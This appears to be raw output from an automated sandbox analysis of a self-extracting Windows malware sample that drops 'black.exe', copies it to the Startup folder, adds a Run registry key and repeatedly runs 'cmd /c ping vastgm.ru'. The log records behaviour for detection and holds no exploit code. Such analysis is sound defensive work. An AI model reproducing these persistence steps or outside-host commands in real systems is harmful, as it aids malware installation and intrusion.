Source: unknown	Process created: C:\Users\user\Desktop\Y5kEUsYDFr.exe "C:\Users\user\Desktop\Y5kEUsYDFr.exe"
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe "C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe"
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ping vastgm.ru
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping vastgm.ru
Source: unknown	Process created: C:\Users\user\AppData\Roaming\black.exe "C:\Users\user\AppData\Roaming\black.exe"
Source: C:\Users\user\AppData\Roaming\black.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ping vastgm.ru
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping vastgm.ru
Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1644,i,11227877826786957155,3609580182791793806,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ping vastgm.ru
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping vastgm.ru
Source: C:\Users\user\AppData\Roaming\black.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ping vastgm.ru
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping vastgm.ru
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe "C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ping vastgm.ru	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ping vastgm.ru	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping vastgm.ru	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ping vastgm.ru	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ping vastgm.ru	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping vastgm.ru
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1644,i,11227877826786957155,3609580182791793806,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping vastgm.ru
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping vastgm.ru

Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll

Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Y5kEUsYDFr.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: Y5kEUsYDFr.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Y5kEUsYDFr.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Y5kEUsYDFr.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Y5kEUsYDFr.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Y5kEUsYDFr.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Y5kEUsYDFr.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Y5kEUsYDFr.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: Y5kEUsYDFr.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: D:\Projects\WinRAR\sfx\build\sfxrar64\Release\sfxrar.pdb source: Y5kEUsYDFr.exe

Source: Y5kEUsYDFr.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Y5kEUsYDFr.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Y5kEUsYDFr.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Y5kEUsYDFr.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Y5kEUsYDFr.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: black.exe.0.dr

Static PE information: 0x921DD1B1 [Sat Sep 7 00:09:21 2047 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .%?T

Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe

File created: C:\Users\user\AppData\Local\Temp\RarSFX0\__tmp_rar_sfx_access_check_7010812

Drops PE files to the startup folder

Source: Y5kEUsYDFr.exe	Static PE information: section name: .didat
Source: Y5kEUsYDFr.exe	Static PE information: section name: _RDATA
Source: black.exe.0.dr	Static PE information: section name: .\|]Y
Source: black.exe.0.dr	Static PE information: section name: .z~z
Source: black.exe.0.dr	Static PE information: section name: .%?T
Source: black.exe.1.dr	Static PE information: section name: .\|]Y
Source: black.exe.1.dr	Static PE information: section name: .z~z
Source: black.exe.1.dr	Static PE information: section name: .%?T
Source: black.exe0.1.dr	Static PE information: section name: .\|]Y
Source: black.exe0.1.dr	Static PE information: section name: .z~z
Source: black.exe0.1.dr	Static PE information: section name: .%?T

Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CAA05156 push rsi; retf	0_2_00007FF6CAA05157
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CAA05166 push rsi; retf	0_2_00007FF6CAA05167
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023A81F0 pushfd ; retn 2812h	1_2_023A8220
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_046C0DC1 pushad ; retf	7_2_046C0DD9

Source: black.exe.0.dr	Static PE information: section name: .%?T entropy: 7.730962970796143
Source: black.exe.1.dr	Static PE information: section name: .%?T entropy: 7.730962970796143
Source: black.exe0.1.dr	Static PE information: section name: .%?T entropy: 7.730962970796143

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	File created: C:\Users\user\AppData\Roaming\black.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	File created: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\black.exe	Jump to dropped file

Boot Survival

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\black.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\black.exe

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\black.exe

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run black			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run black			Jump to behavior

